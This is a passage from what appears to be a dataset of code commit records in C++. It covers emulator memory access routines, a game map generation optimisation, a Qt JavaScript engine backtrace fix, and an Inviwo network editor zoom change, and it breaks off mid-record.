0xfffc0000) == 0x000c0000))\n    {\n      switch (DEV_pci_wr_memtype(a20addr & 0xFC000)) {\n        case 0x1:   \/\/ Writes to ShadowRAM\n          BX_DEBUG((\"Writing to ShadowRAM: address %08x, data %02x\", (unsigned) a20addr, *data_ptr));\n          vector[a20addr] = *data_ptr;\n          BX_DBG_DIRTY_PAGE(a20addr >> 12);\n          goto inc_one;\n\n        case 0x0:   \/\/ Writes to ROM, Inhibit\n          BX_DEBUG((\"Write to ROM ignored: address %08x, data %02x\", (unsigned) a20addr, *data_ptr));\n          goto inc_one;\n\n        default:\n          BX_PANIC((\"writePhysicalPage: default case\"));\n          goto inc_one;\n      }\n    }\n#endif\n    goto inc_one;\n  }\n  else {\n    \/\/ access outside limits of physical memory, ignore\n    BX_DEBUG((\"Write outside the limits of physical memory (ignore)\"));\n  }\n}\n\n  void BX_CPP_AttrRegparmN(3)\nBX_MEM_C::readPhysicalPage(BX_CPU_C *cpu, bx_phy_address addr, unsigned len, void *data)\n{\n  Bit8u *data_ptr;\n  bx_phy_address a20addr = A20ADDR(addr);\n  struct memory_handler_struct *memory_handler = NULL;\n\n  \/\/ Note: accesses should always be contained within a single page now\n\n  if (cpu != NULL) {\n#if BX_SUPPORT_IODEBUG\n    bx_iodebug_c::mem_read(cpu, a20addr, len, data);\n#endif\n \n    BX_INSTR_PHY_READ(cpu->which_cpu(), a20addr, len);\n\n#if BX_DEBUGGER\n    \/\/ (mch) Check for physical read break points, TODO\n    \/\/ (bbd) Each breakpoint should have an associated CPU#, TODO\n    for (int i = 0; i < num_read_watchpoints; i++) {\n      if (read_watchpoint[i] == a20addr) {\n         BX_CPU(0)->watchpoint = a20addr;\n         BX_CPU(0)->break_point = BREAK_POINT_READ;\n         break;\n      }\n    }\n#endif\n\n#if BX_SUPPORT_APIC\n    bx_generic_apic_c *local_apic = &cpu->local_apic;\n    if (local_apic->is_selected (a20addr, len)) {\n      local_apic->read(a20addr, data, len);\n      return;\n    }\n#endif\n\n    if ((a20addr & 0xfffe0000) == 0x000a0000 && (BX_MEM_THIS smram_available))\n    {\n      \/\/ SMRAM memory space\n      if (BX_MEM_THIS smram_enable || (cpu->smm_mode() && !BX_MEM_THIS smram_restricted))\n        goto mem_read;\n    }\n  }\n\n  memory_handler = memory_handlers[a20addr >> 20];\n  while (memory_handler) {\n    if (memory_handler->begin <= a20addr &&\n          memory_handler->end >= a20addr &&\n          memory_handler->read_handler(a20addr, len, data, memory_handler->param))\n    {\n      return;\n    }\n    memory_handler = memory_handler->next;\n  }\n\nmem_read:\n\n  if (a20addr <= BX_MEM_THIS len) {\n    \/\/ all of data is within limits of physical memory\n    if ((a20addr & 0xfff80000) != 0x00080000 || (a20addr <= 0x0009ffff))\n    {\n      if (len == 8) {\n        ReadHostQWordFromLittleEndian(&vector[a20addr], * (Bit64u*) data);\n        return;\n      }\n      if (len == 4) {\n        ReadHostDWordFromLittleEndian(&vector[a20addr], * (Bit32u*) data);\n        return;\n      }\n      if (len == 2) {\n        ReadHostWordFromLittleEndian(&vector[a20addr], * (Bit16u*) data);\n        return;\n      }\n      if (len == 1) {\n        * (Bit8u *) data = * ((Bit8u *) (&vector[a20addr]));\n        return;\n      }\n      \/\/ len == other case can just fall thru to special cases handling\n    }\n\n#ifdef BX_LITTLE_ENDIAN\n    data_ptr = (Bit8u *) data;\n#else \/\/ BX_BIG_ENDIAN\n    data_ptr = (Bit8u *) data + (len - 1);\n#endif\n\nread_one:\n    if ((a20addr & 0xfff80000) != 0x00080000 || (a20addr <= 0x0009ffff))\n    {\n      \/\/ addr *not* in range 00080000 .. 000FFFFF\n      *data_ptr = vector[a20addr];\ninc_one:\n      if (len == 1) return;\n      len--;\n      a20addr++;\n#ifdef BX_LITTLE_ENDIAN\n      data_ptr++;\n#else \/\/ BX_BIG_ENDIAN\n      data_ptr--;\n#endif\n      goto read_one;\n    }\n\n    \/\/ addr must be in range 000A0000 .. 000FFFFF\n\n    \/\/ SMMRAM\n    if (a20addr <= 0x000bffff) {\n      \/\/ devices are not allowed to access SMMRAM under VGA memory\n      if (cpu) *data_ptr = vector[a20addr];\n      goto inc_one;\n    }\n\n#if BX_SUPPORT_PCI\n    if (pci_enabled && ((a20addr & 0xfffc0000) == 0x000c0000))\n    {\n      switch (DEV_pci_rd_memtype (a20addr)) {\n        case 0x0:  \/\/ Read from ROM\n          if ( (a20addr & 0xfffe0000) == 0x000e0000 )\n          {\n            *data_ptr = rom[a20addr & BIOS_MASK];\n          }\n          else\n          {\n            *data_ptr = rom[(a20addr & EXROM_MASK) + BIOSROMSZ];\n          }\n          goto inc_one;\n        case 0x1:  \/\/ Read from ShadowRAM\n          *data_ptr = vector[a20addr];\n          goto inc_one;\n        default:\n          BX_PANIC((\"readPhysicalPage: default case\"));\n      }\n      goto inc_one;\n    }\n    else\n#endif  \/\/ #if BX_SUPPORT_PCI\n    {\n      if ((a20addr & 0xfffc0000) != 0x000c0000) {\n        *data_ptr = vector[a20addr];\n      }\n      else if ((a20addr & 0xfffe0000) == 0x000e0000)\n      {\n        *data_ptr = rom[a20addr & BIOS_MASK];\n      }\n      else\n      {\n        *data_ptr = rom[(a20addr & EXROM_MASK) + BIOSROMSZ];\n      }\n      goto inc_one;\n    }\n  }\n  else\n  {  \/\/ access outside limits of physical memory\n\n#ifdef BX_LITTLE_ENDIAN\n    data_ptr = (Bit8u *) data;\n#else \/\/ BX_BIG_ENDIAN\n    data_ptr = (Bit8u *) data + (len - 1);\n#endif\n\n    for (unsigned i = 0; i < len; i++) {\n      if (a20addr >= (bx_phy_address)~BIOS_MASK)\n        *data_ptr = rom[a20addr & BIOS_MASK];\n      else\n        *data_ptr = 0xff;\n      addr++;\n      a20addr = (addr);\n#ifdef BX_LITTLE_ENDIAN\n      data_ptr++;\n#else \/\/ BX_BIG_ENDIAN\n      data_ptr--;\n#endif\n    }\n  }\n}\n\n#endif \/\/ #if BX_PROVIDE_CPU_MEMORY\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2015 Luke San Antonio and Hazza Alkaabi\n * All rights reserved.\n *\/\n#include \"radial_algorithm.h\"\nnamespace game { namespace strat\n{\n  \/\/ This function could be run alone.\n  void Radial_Algorithm::gen(Grid_Map& map) noexcept\n  {\n    osn_context* osn = nullptr;\n    auto noise_init = Noise_Raii{this->seed, &osn};\n\n    for(int i = 0; i < map.extents.y; ++i)\n    {\n      for(int j = 0; j < map.extents.x; ++j)\n      {\n        \/\/ Point from the continent origin to here.\n        Vec<float> to_here = Vec<int>{j, i} - this->origin;\n        auto to_here_dir = normalize(to_here);\n\n        \/\/ Angle is not used or passed into the noise function because at 2pi\n        \/\/ radians it goes from +pi to -pi causing a discontinuity in the land\n        \/\/ mass.\n\n        \/\/ Get a small delta from the angle. We will use this to modify the\n        auto delta = 0.0f;\n        auto cur_amplitude = this->amplitude;\n        auto cur_frequency = this->frequency;\n        for(int octave_i = 0; octave_i < this->octaves; ++octave_i)\n        {\n          delta += open_simplex_noise2(osn, to_here_dir.y * cur_frequency,\n                                       to_here_dir.x * cur_frequency) *\n                   cur_amplitude;\n          cur_amplitude *= this->persistence;\n          cur_frequency *= this->lacunarity;\n        }\n\n        auto modified_radius = radius + delta;\n\n        \/\/ This tile is land.\n        if(length(to_here) < modified_radius)\n        {\n          map.values[i * map.extents.x + j].type = this->type;\n        }\n      }\n    }\n  }\n} }\n<commit_msg>Optimize the Radial_Algorithm to use a smaller volume<commit_after>\/*\n * Copyright (C) 2015 Luke San Antonio and Hazza Alkaabi\n * All rights reserved.\n *\/\n#include \"radial_algorithm.h\"\n#include \"..\/common\/volume.h\"\nnamespace game { namespace strat\n{\n  \/\/ This function could be run alone.\n  void Radial_Algorithm::gen(Grid_Map& map) noexcept\n  {\n    osn_context* osn = nullptr;\n    auto noise_init = Noise_Raii{this->seed, &osn};\n\n    \/\/ Figure out what area we actually *could* modify. I think technically it\n    \/\/ could be big larger if we are dealing with multiple octaves, but\n    \/\/ whatever.\n    Volume<int> active_area;\n    active_area.pos.x = std::ceil(origin.x - radius - amplitude);\n    active_area.pos.y = std::ceil(origin.y - radius - amplitude);\n    active_area.width = (radius + amplitude) * 2;\n    active_area.height = (radius + amplitude) * 2;\n\n    active_area = contain_inside_extents(active_area, map.extents);\n\n    auto& aa = active_area;\n    for(int i = aa.pos.y; i < aa.height + aa.pos.y; ++i)\n    {\n      for(int j = aa.pos.x; j < aa.width + aa.pos.x; ++j)\n      {\n        \/\/ Point from the continent origin to here.\n        Vec<float> to_here = Vec<int>{j, i} - this->origin;\n        auto to_here_dir = normalize(to_here);\n\n        \/\/ Angle is not used or passed into the noise function because at 2pi\n        \/\/ radians it goes from +pi to -pi causing a discontinuity in the land\n        \/\/ mass.\n\n        \/\/ Get a small delta from the angle. We will use this to modify the\n        auto delta = 0.0f;\n        auto cur_amplitude = this->amplitude;\n        auto cur_frequency = this->frequency;\n        for(int octave_i = 0; octave_i < this->octaves; ++octave_i)\n        {\n          delta += open_simplex_noise2(osn, to_here_dir.y * cur_frequency,\n                                       to_here_dir.x * cur_frequency) *\n                   cur_amplitude;\n          cur_amplitude *= this->persistence;\n          cur_frequency *= this->lacunarity;\n        }\n\n        auto modified_radius = radius + delta;\n\n        \/\/ This tile is land.\n        if(length(to_here) < modified_radius)\n        {\n          map.values[i * map.extents.x + j].type = this->type;\n        }\n      }\n    }\n  }\n} }\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************************\n**\n** Copyright (C) 2013 Digia Plc and\/or its subsidiary(-ies).\n** Contact: http:\/\/www.qt-project.org\/legal\n**\n** This file is part of the QtQml module of the Qt Toolkit.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** Commercial License Usage\n** Licensees holding valid commercial Qt licenses may use this file in\n** accordance with the commercial license agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Digia.  For licensing terms and\n** conditions see http:\/\/qt.digia.com\/licensing.  For further information\n** use the contact form at http:\/\/qt.digia.com\/contact-us.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Digia gives you certain additional\n** rights.  These rights are described in the Digia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** GNU General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU\n** General Public License version 3.0 as published by the Free Software\n** Foundation and appearing in the file LICENSE.GPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU General Public License version 3.0 requirements will be\n** met: http:\/\/www.gnu.org\/copyleft\/gpl.html.\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#if defined(_WIN32) && !(defined(WINCE) || defined(_WIN32_WCE))\n#include <windows.h>\n#include <DbgHelp.h>\n#endif\n\n#include \"qv4stacktrace_p.h\"\n#include \"qv4function_p.h\"\n#include \"qv4engine_p.h\"\n#include \"qv4unwindhelper_p.h\"\n\n#if (defined(Q_OS_LINUX) && !defined(Q_OS_ANDROID)) || defined(Q_OS_MAC)\n#define HAVE_GNU_BACKTRACE\n#include <execinfo.h>\n#endif\n\nQT_BEGIN_NAMESPACE\n\nusing namespace QV4;\n\nNativeStackTrace::NativeStackTrace(ExecutionContext *context)\n{\n    engine = context->engine;\n    currentNativeFrame = 0;\n\n#if defined(HAVE_GNU_BACKTRACE)\n    UnwindHelper::prepareForUnwind(context);\n\n    nativeFrameCount = backtrace(&trace[0], sizeof(trace) \/ sizeof(trace[0]));\n#elif defined(Q_OS_WIN) && !defined(Q_OS_WINCE)\n\n    int machineType = 0;\n\n    CONTEXT winContext;\n    memset(&winContext, 0, sizeof(winContext));\n    winContext.ContextFlags = CONTEXT_FULL;\n    RtlCaptureContext(&winContext);\n\n    STACKFRAME64 sf64;\n    memset(&sf64, 0, sizeof(sf64));\n\n#if defined(Q_PROCESSOR_X86_32)\n    machineType = IMAGE_FILE_MACHINE_I386;\n\n    sf64.AddrFrame.Offset = winContext.Ebp;\n    sf64.AddrFrame.Mode = AddrModeFlat;\n    sf64.AddrPC.Offset = winContext.Eip;\n    sf64.AddrPC.Mode = AddrModeFlat;\n    sf64.AddrStack.Offset = winContext.Esp;\n    sf64.AddrStack.Mode = AddrModeFlat;\n\n#elif defined(Q_PROCESSOR_X86_64)\n    machineType = IMAGE_FILE_MACHINE_AMD64;\n\n    sf64.AddrFrame.Offset = winContext.Rbp;\n    sf64.AddrFrame.Mode = AddrModeFlat;\n    sf64.AddrPC.Offset = winContext.Rip;\n    sf64.AddrPC.Mode = AddrModeFlat;\n    sf64.AddrStack.Offset = winContext.Rsp;\n    sf64.AddrStack.Mode = AddrModeFlat;\n\n#else\n#error \"Platform unsupported!\"\n#endif\n\n    nativeFrameCount = 0;\n\n    while (StackWalk64(machineType, GetCurrentProcess(), GetCurrentThread(), &sf64, &winContext, 0, SymFunctionTableAccess64, SymGetModuleBase64, 0)) {\n\n        if (sf64.AddrReturn.Offset == 0)\n            break;\n\n        trace[nativeFrameCount] = reinterpret_cast<void*>(sf64.AddrReturn.Offset);\n        nativeFrameCount++;\n        if (nativeFrameCount >= sizeof(trace) \/ sizeof(trace[0]))\n            break;\n    }\n\n#else\n    nativeFrameCount = 0;\n#endif\n    }\n\nNativeFrame NativeStackTrace::nextFrame() {\n    NativeFrame frame;\n    frame.function = 0;\n    frame.line = -1;\n\n    for (; currentNativeFrame < nativeFrameCount && !frame.function; ++currentNativeFrame) {\n        quintptr pc = reinterpret_cast<quintptr>(trace[currentNativeFrame]);\n        \/\/ The pointers from the back trace point to the return address, but we are interested in\n        \/\/ the caller site.\n        pc = pc - 1;\n\n        Function *f = engine->functionForProgramCounter(pc);\n        if (!f)\n            continue;\n\n        frame.function = f;\n        frame.line = f->lineNumberForProgramCounter(pc - reinterpret_cast<quintptr>(f->codePtr));\n    }\n\n    return frame;\n}\n\nQT_END_NAMESPACE\n<commit_msg>Fix backtrace generation on Android\/ARM\/QNX<commit_after>\/****************************************************************************\n**\n** Copyright (C) 2013 Digia Plc and\/or its subsidiary(-ies).\n** Contact: http:\/\/www.qt-project.org\/legal\n**\n** This file is part of the QtQml module of the Qt Toolkit.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** Commercial License Usage\n** Licensees holding valid commercial Qt licenses may use this file in\n** accordance with the commercial license agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Digia.  For licensing terms and\n** conditions see http:\/\/qt.digia.com\/licensing.  For further information\n** use the contact form at http:\/\/qt.digia.com\/contact-us.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Digia gives you certain additional\n** rights.  These rights are described in the Digia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** GNU General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU\n** General Public License version 3.0 as published by the Free Software\n** Foundation and appearing in the file LICENSE.GPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU General Public License version 3.0 requirements will be\n** met: http:\/\/www.gnu.org\/copyleft\/gpl.html.\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#if defined(_WIN32) && !(defined(WINCE) || defined(_WIN32_WCE))\n#include <windows.h>\n#include <DbgHelp.h>\n#endif\n\n#include \"qv4stacktrace_p.h\"\n#include \"qv4function_p.h\"\n#include \"qv4engine_p.h\"\n#include \"qv4unwindhelper_p.h\"\n\n#ifdef V4_CXX_ABI_EXCEPTION\n#include <unwind.h>\n\nstruct BacktraceHelper\n{\n    void **array;\n    int maximumSize;\n    int frameCount;\n};\n\nstatic _Unwind_Reason_Code bt_helper(struct _Unwind_Context *ctx, void *data)\n{\n    BacktraceHelper *helper = reinterpret_cast<BacktraceHelper*>(data);\n\n    if (helper->frameCount != -1) {\n        helper->array[helper->frameCount] = (void*)_Unwind_GetIP(ctx);\n\n        if (helper->frameCount > 0 && helper->array[helper->frameCount] == helper->array[helper->frameCount - 1])\n            return _URC_END_OF_STACK;\n    }\n    ++helper->frameCount;\n    if (helper->frameCount == helper->maximumSize)\n        return _URC_END_OF_STACK;\n    return _URC_NO_REASON;\n}\n\nstatic int get_backtrace_from_libunwind(void **array, int size)\n{\n    BacktraceHelper helper;\n    helper.array = array;\n    helper.maximumSize = size;\n    helper.frameCount = -1; \/\/ To skip this function\n    _Unwind_Backtrace(&bt_helper, &helper);\n    return helper.frameCount;\n}\n#endif\n\nQT_BEGIN_NAMESPACE\n\nusing namespace QV4;\n\nNativeStackTrace::NativeStackTrace(ExecutionContext *context)\n{\n    engine = context->engine;\n    currentNativeFrame = 0;\n\n#ifdef V4_CXX_ABI_EXCEPTION\n    UnwindHelper::prepareForUnwind(context);\n\n    nativeFrameCount = get_backtrace_from_libunwind(&trace[0], sizeof(trace) \/ sizeof(trace[0]));\n#elif defined(Q_OS_WIN) && !defined(Q_OS_WINCE)\n\n    int machineType = 0;\n\n    CONTEXT winContext;\n    memset(&winContext, 0, sizeof(winContext));\n    winContext.ContextFlags = CONTEXT_FULL;\n    RtlCaptureContext(&winContext);\n\n    STACKFRAME64 sf64;\n    memset(&sf64, 0, sizeof(sf64));\n\n#if defined(Q_PROCESSOR_X86_32)\n    machineType = IMAGE_FILE_MACHINE_I386;\n\n    sf64.AddrFrame.Offset = winContext.Ebp;\n    sf64.AddrFrame.Mode = AddrModeFlat;\n    sf64.AddrPC.Offset = winContext.Eip;\n    sf64.AddrPC.Mode = AddrModeFlat;\n    sf64.AddrStack.Offset = winContext.Esp;\n    sf64.AddrStack.Mode = AddrModeFlat;\n\n#elif defined(Q_PROCESSOR_X86_64)\n    machineType = IMAGE_FILE_MACHINE_AMD64;\n\n    sf64.AddrFrame.Offset = winContext.Rbp;\n    sf64.AddrFrame.Mode = AddrModeFlat;\n    sf64.AddrPC.Offset = winContext.Rip;\n    sf64.AddrPC.Mode = AddrModeFlat;\n    sf64.AddrStack.Offset = winContext.Rsp;\n    sf64.AddrStack.Mode = AddrModeFlat;\n\n#else\n#error \"Platform unsupported!\"\n#endif\n\n    nativeFrameCount = 0;\n\n    while (StackWalk64(machineType, GetCurrentProcess(), GetCurrentThread(), &sf64, &winContext, 0, SymFunctionTableAccess64, SymGetModuleBase64, 0)) {\n\n        if (sf64.AddrReturn.Offset == 0)\n            break;\n\n        trace[nativeFrameCount] = reinterpret_cast<void*>(sf64.AddrReturn.Offset);\n        nativeFrameCount++;\n        if (nativeFrameCount >= sizeof(trace) \/ sizeof(trace[0]))\n            break;\n    }\n\n#else\n    nativeFrameCount = 0;\n#endif\n    }\n\nNativeFrame NativeStackTrace::nextFrame() {\n    NativeFrame frame;\n    frame.function = 0;\n    frame.line = -1;\n\n    for (; currentNativeFrame < nativeFrameCount && !frame.function; ++currentNativeFrame) {\n        quintptr pc = reinterpret_cast<quintptr>(trace[currentNativeFrame]);\n        \/\/ The pointers from the back trace point to the return address, but we are interested in\n        \/\/ the caller site.\n        pc = pc - 1;\n\n        Function *f = engine->functionForProgramCounter(pc);\n        if (!f)\n            continue;\n\n        frame.function = f;\n        frame.line = f->lineNumberForProgramCounter(pc - reinterpret_cast<quintptr>(f->codePtr));\n    }\n\n    return frame;\n}\n\nQT_END_NAMESPACE\n<|endoftext|>"}
{"text":"<commit_before>\/*********************************************************************************\n *\n * Inviwo - Interactive Visualization Workshop\n *\n * Copyright (c) 2012-2015 Inviwo Foundation\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n * \n *********************************************************************************\/\n\n#include <QMatrix>\n#include <QMouseEvent>\n#include <QWheelEvent>\n#include <QScrollBar>\n#include <inviwo\/core\/common\/inviwoapplication.h>\n#include <inviwo\/core\/util\/settings\/linksettings.h>\n#include <inviwo\/core\/util\/settings\/systemsettings.h>\n#include <inviwo\/qt\/editor\/networkeditorview.h>\n#include <inviwo\/core\/network\/processornetwork.h>\n\nnamespace inviwo {\n\nNetworkEditorView::NetworkEditorView(NetworkEditor* networkEditor, QWidget* parent)\n    : QGraphicsView(parent)\n    , NetworkEditorObserver()\n    , networkEditor_(networkEditor)\n    , zoom_(1.0f) {\n    initialize();\n    setRenderHint(QPainter::Antialiasing, true);\n    setMouseTracking(true);\n    setDragMode(QGraphicsView::RubberBandDrag);\n    setViewportUpdateMode(QGraphicsView::SmartViewportUpdate);\n    setCacheMode(QGraphicsView::CacheBackground);\n}\n\nNetworkEditorView::~NetworkEditorView() { QGraphicsView::setScene(nullptr); }\n\nvoid NetworkEditorView::initialize() {\n    NetworkEditorObserver::addObservation(networkEditor_);    \n    QGraphicsView::setScene(networkEditor_);\n}\n\nvoid NetworkEditorView::hideNetwork(bool hide) {\n    if (hide) {\n        if (scene()) {\n            scrollPos_.x = horizontalScrollBar()->value();\n            scrollPos_.y = verticalScrollBar()->value();\n            QGraphicsView::setScene(nullptr);\n        }\n    } else {\n        if (scene() != networkEditor_) {\n            QGraphicsView::setScene(networkEditor_);\n            horizontalScrollBar()->setValue(scrollPos_.x);\n            verticalScrollBar()->setValue(scrollPos_.y);\n        }\n    }\n}\n\nvoid NetworkEditorView::setZoom(const float& zoom, const QPointF& pos) {\n    if (zoom < 0.2f) {\n        zoom_ = 0.2f;\n    } else if (zoom > 5.0f) {\n        zoom_ = 5.0f;\n    } else {\n        zoom_ = zoom;\n    }\n\n    QTransform matrix;\n    matrix.scale(zoom_, zoom_);\n    QPointF pos2 = QGraphicsView::mapToScene(pos.toPoint());\n    QGraphicsView::translate(pos2.x(), pos2.y());\n    QGraphicsView::setTransform(matrix);\n    QGraphicsView::translate(-pos2.x(), -pos2.y());\n}\n\nvoid NetworkEditorView::mouseDoubleClickEvent(QMouseEvent* e) {\n    QGraphicsView::mouseDoubleClickEvent(e);\n\n    if (!e->isAccepted()) {\n        fitNetwork();\n        e->accept();\n    }\n}\n\nvoid NetworkEditorView::resizeEvent(QResizeEvent* e) {\n    QGraphicsView::resizeEvent(e);\n}\n\nvoid NetworkEditorView::fitNetwork() {\n    const ProcessorNetwork* network = InviwoApplication::getPtr()->getProcessorNetwork();\n    if (network) {\n        if (network->getProcessors().size() > 0) {\n            QRectF br = networkEditor_->itemsBoundingRect().adjusted(-50, -50, 50, 50);\n            QSizeF viewsize = size();\n            QSizeF brsize = br.size();\n\n            if (brsize.width() < viewsize.width()) {\n                br.setLeft(br.left() - 0.5*(viewsize.width() - brsize.width()));\n                br.setRight(br.right() + 0.5*(viewsize.width() - brsize.width()));\n            }\n            if (brsize.height() < viewsize.height()) {\n                br.setTop(br.top() - 0.5*(viewsize.height() - brsize.height()));\n                br.setBottom(br.bottom() + 0.5*(viewsize.height() - brsize.height()));\n            }\n\n            setSceneRect(br);\n            fitInView(br, Qt::KeepAspectRatio);\n            zoom_ = transform().m11();\n        }\n    }\n}\n\nvoid NetworkEditorView::wheelEvent(QWheelEvent* e) {\n#if (QT_VERSION >= QT_VERSION_CHECK(5, 0, 0))\n    QPoint numPixels = e->pixelDelta();\n    QPoint numDegrees = e->angleDelta() \/ 8 \/ 15;\n#else\n    QPoint numPixels;\n    QPoint numDegrees = QPoint(0, e->delta() \/ 8 \/ 15);\n#endif\n    if (e->modifiers() == Qt::ControlModifier) {\n        if (!numPixels.isNull()) {\n            setZoom(zoom_ + static_cast<float>(numPixels.y()) \/ 50.0, e->pos());\n        } else if (!numDegrees.isNull()) {\n            setZoom(zoom_ + static_cast<float>(numDegrees.y()) \/ 10.0, e->pos());\n        }\n    } else {\n        QGraphicsView::wheelEvent(e);\n    }\n    e->accept();\n}\n\nvoid NetworkEditorView::onNetworkEditorFileChanged(const std::string& newFilename) {\n    fitNetwork();\n}\nvoid NetworkEditorView::onModifiedStatusChanged(const bool& newStatus) {}\n\n}  \/\/ namespace<commit_msg>Qt: zoom under mouse cursor in network editor<commit_after>\/*********************************************************************************\n *\n * Inviwo - Interactive Visualization Workshop\n *\n * Copyright (c) 2012-2015 Inviwo Foundation\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n * \n *********************************************************************************\/\n\n#include <QMatrix>\n#include <QMouseEvent>\n#include <QWheelEvent>\n#include <QScrollBar>\n#include <inviwo\/core\/common\/inviwoapplication.h>\n#include <inviwo\/core\/util\/settings\/linksettings.h>\n#include <inviwo\/core\/util\/settings\/systemsettings.h>\n#include <inviwo\/qt\/editor\/networkeditorview.h>\n#include <inviwo\/core\/network\/processornetwork.h>\n\nnamespace inviwo {\n\nNetworkEditorView::NetworkEditorView(NetworkEditor* networkEditor, QWidget* parent)\n    : QGraphicsView(parent)\n    , NetworkEditorObserver()\n    , networkEditor_(networkEditor)\n    , zoom_(1.0f) {\n    initialize();\n    setRenderHint(QPainter::Antialiasing, true);\n    setMouseTracking(true);\n    setDragMode(QGraphicsView::RubberBandDrag);\n    setViewportUpdateMode(QGraphicsView::SmartViewportUpdate);\n    setCacheMode(QGraphicsView::CacheBackground);\n\n    \/\/setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOn);\n    \/\/setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOn);\n\n    setTransformationAnchor(QGraphicsView::NoAnchor);\n    \/\/setResizeAnchor(QGraphicsView::NoAnchor);\n}\n\nNetworkEditorView::~NetworkEditorView() { QGraphicsView::setScene(nullptr); }\n\nvoid NetworkEditorView::initialize() {\n    NetworkEditorObserver::addObservation(networkEditor_);    \n    QGraphicsView::setScene(networkEditor_);\n}\n\nvoid NetworkEditorView::hideNetwork(bool hide) {\n    if (hide) {\n        if (scene()) {\n            scrollPos_.x = horizontalScrollBar()->value();\n            scrollPos_.y = verticalScrollBar()->value();\n            QGraphicsView::setScene(nullptr);\n        }\n    } else {\n        if (scene() != networkEditor_) {\n            QGraphicsView::setScene(networkEditor_);\n            horizontalScrollBar()->setValue(scrollPos_.x);\n            verticalScrollBar()->setValue(scrollPos_.y);\n        }\n    }\n}\n\nvoid NetworkEditorView::setZoom(const float& zoom, const QPointF& pos) {\n    if (zoom < 0.2f) {\n        zoom_ = 0.2f;\n    } else if (zoom > 5.0f) {\n        zoom_ = 5.0f;\n    } else {\n        zoom_ = zoom;\n    }\n\n    QTransform matrix;\n    matrix.scale(zoom_, zoom_);\n    \n    QPointF center = viewport()->rect().center();\n    QPointF oldPos = QGraphicsView::mapToScene(pos.toPoint());\n    QGraphicsView::setTransform(matrix);\n    QPointF newPos = QGraphicsView::mapToScene(pos.toPoint());\n    QPointF delta = newPos - 